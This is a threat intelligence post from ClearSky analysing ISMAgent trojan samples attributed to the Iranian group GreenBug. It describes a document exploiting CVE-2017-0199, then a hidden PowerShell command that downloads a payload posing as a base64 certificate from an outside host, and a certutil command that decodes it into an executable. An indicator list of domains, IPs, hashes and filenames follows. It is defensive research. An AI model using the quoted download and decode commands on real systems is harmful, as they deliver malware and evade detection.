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Recent ISMAgent Samples and Infrastructure by Iranian Threat Group GreenBug

By ClearSky Research Team

August 28, 2017

Campaigns

Recently we detected new samples and Infrastructure of ISMAgent,  a trojan in use by Iranian Threat Group GreenBug. Interestingly, as part of the delivery mechanism, the malware is disguised as a base64 digital certificate and decoded via certutil.exe. This post describes the new campaign.

change managment.dot

Sample change managment.dot (812d3c4fddf9bb81d507397345a29bb0) exploits CVE-2017-0199 and calls the following URL:

http://www.msoffice-cdn[.]com/updatecdnsrv/prelocated/owa/auth/template.rtf

which in turn runs this command:

“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nologo -WindowStyle Hidden $webClient = New-Object http://System.Net .WebClient; $val = $webClient.DownloadString(‘https://a.pomf[.]cat/ntluca.txt ‘); add-content -path ‘C:\Users\USER\AppData\Roaming/srvRep.txt’ -value $val -force

The command downloads ntluca.txt from http://a.pomf[.]cat/ntluca.txt.

Disguised as  a base64 digital certificate, the file actually decodes to an ISMagent sample (96b47c5af8652ac99150bf602a88498b) via the following command:

C:\Windows\System32\certutil.exe” -decode C:\Users\USER\AppData\Roaming\srvRep.txt C:\Users\USER\AppData\Roaming\srvConhost.exe

Indicators of compromise

Indicators of compromise are presented below and are available on PassiveTotal.

Domain cdnmsnupdate[.]com
Domain msoffice-cdn[.]com
URL http://74.91.19[.]122/action2/
URL http://82.102.14[.]246/webdav/aws.exe
URL http://www.msoffice-cdn[.]com/updatecdnsrv/prelocated/owa/auth/template.rtf
URL http://a.pomf[.]cat/ntluca.txt
IP 185.162.235.121
IP 82.102.14.246
IP 74.91.19.122
Hash 6d2f8a06534e2ebebc43295fb266a8ca
Hash 812d3c4fddf9bb81d507397345a29bb0
Hash 3d497c4711c0226d86a693a40891f9a1
Hash 96b47c5af8652ac99150bf602a88498b
Hash 66eaef10226fb279dba64bb5948bc85b
Hash 7d83715a9a6aabcbc621cc786de0c9ea
Hash 15d9d184b71d243ae5c005c68a045889
whoisName Neslihan Ozcivit
whoisEmail neslihan.ozcivit@mail.ru
Filename aws.exe
Filename Crypted.exe
Filename document-gerenated-problem.exe
Filename PolicyConverter.exe

 

The Maltego graph below depicts the relationship among the indicators (click to enlarge):